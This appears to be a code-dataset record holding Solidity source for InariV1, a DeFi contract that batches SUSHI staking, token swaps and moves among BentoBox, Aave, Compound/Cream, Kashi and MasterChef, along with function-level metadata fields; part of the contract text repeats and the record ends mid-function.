/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█
█▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █
█ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █
█▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █
▀███▀ █ ▀███▀ █ █
▀ █ ▀
▀ */
// - COMPOUND - //
/***********
COMP HELPERS
***********/
function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.safeBalanceOfSelf());
}
function balanceFromCompound(address cToken) external {
ICompoundBridge(cToken).redeem(IERC20(cToken).safeBalanceOfSelf());
}
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
(amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).safeBalanceOfSelf(), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄▄▄▄▄ ▄ ▄ ██ █ ▄▄
█ ▀▄ █ █ █ █ █ █
▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀
▀▄▄▄▄▀ █ █ █ █ █ █
█ █ █ █ █
▀ ▀ █ ▀
▀ */
/// @notice Fallback for received ETH - SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
receive() external payable { // INARIZUSHI
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
function inariZushi(address to) external payable returns (uint256 amountOut, uint256 shareOut) {
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice Simple SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.
function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice Simple SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.
function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).safeBalanceOfSelf();
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
} | /// @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'. | NatSpecSingleLine | zapFromBento | function zapFromBento(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
| /// @notice Liquidity unzap from BENTO. | NatSpecSingleLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
13646,
14021
]
} | 11,788 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | InariV1 | contract InariV1 is BoringBatchableWithDai, SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap
IMasterChefV2 constant masterChefv2 = IMasterChefV2(0xEF0881eC094552b2e128Cf945EF17a6752B4Ec5d); // SUSHI MasterChef v2 contract
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
/// @notice Initialize this Inari contract.
constructor() {
bento.registerProtocol(); // register this contract with BENTO
}
/// @notice Helper function to approve this contract to spend tokens and enable strategies.
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
/**********
TKN HELPERS
**********/
function withdrawToken(IERC20 token, address to, uint256 amount) external {
token.safeTransfer(to, amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
token.safeTransfer(to, token.safeBalanceOfSelf());
}
/***********
CHEF HELPERS
***********/
function depositToMasterChefv2(uint256 pid, uint256 amount, address to) external {
masterChefv2.deposit(pid, amount, to);
}
function balanceToMasterChefv2(uint256 pid, address to) external {
IERC20 lpToken = masterChefv2.lpToken(pid);
masterChefv2.deposit(pid, lpToken.safeBalanceOfSelf(), to);
}
/// @notice Liquidity zap into CHEF.
function zapToMasterChef(
address to,
address _FromTokenContractAddress,
uint256 _amount,
uint256 _minPoolTokens,
uint256 pid,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = masterChefv2.lpToken(pid);
LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
masterChefv2.deposit(pid, LPBought, to);
}
/************
KASHI HELPERS
************/
function assetToKashi(IKashiBridge kashiPair, address to, uint256 amount) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = kashiPair.addAsset(to, true, amount);
}
function assetToKashiChef(uint256 pid, uint256 amount, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, amount);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceToKashi(IKashiBridge kashiPair, address to) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = kashiPair.addAsset(to, true, balance);
}
function assetBalanceToKashiChef(uint256 pid, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, balance);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceFromKashi(address kashiPair, address to) external returns (uint256 share) {
share = IKashiBridge(kashiPair).removeAsset(to, IERC20(kashiPair).safeBalanceOfSelf());
}
/// @notice Liquidity zap into KASHI.
function zapToKashi(
address to,
address _FromTokenContractAddress,
IKashiBridge kashiPair,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 fraction) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = kashiPair.asset();
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
_pairAddress.safeTransfer(address(bento), LPBought);
IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0);
fraction = kashiPair.addAsset(to, true, LPBought);
}
/*
██ ██ ▄ ▄███▄
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
/***********
AAVE HELPERS
***********/
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0);
}
function balanceFromAave(address aToken, address to) external {
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, IERC20(aToken).safeBalanceOfSelf(), to);
}
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying`
(amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, address to, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
███ ▄███▄ ▄ ▄▄▄▄▀ ████▄
█ █ █▀ ▀ █ ▀▀▀ █ █ █
█ ▀ ▄ ██▄▄ ██ █ █ █ █
█ ▄▀ █▄ ▄▀ █ █ █ █ ▀████
███ ▀███▀ █ █ █ ▀
█ ██ */
/************
BENTO HELPERS
************/
function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.deposit(token, address(this), to, token.safeBalanceOfSelf(), 0);
}
/// @dev Included to be able to approve `bento` in the same transaction (using `batch()`).
function setBentoApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external {
bento.setMasterContractApproval(user, masterContract, approved, v, r, s);
}
/// @notice Liquidity zap into BENTO.
function zapToBento(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0);
}
/// @notice Liquidity unzap from BENTO.
function zapFromBento(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█
█▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █
█ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █
█▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █
▀███▀ █ ▀███▀ █ █
▀ █ ▀
▀ */
// - COMPOUND - //
/***********
COMP HELPERS
***********/
function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.safeBalanceOfSelf());
}
function balanceFromCompound(address cToken) external {
ICompoundBridge(cToken).redeem(IERC20(cToken).safeBalanceOfSelf());
}
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
(amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
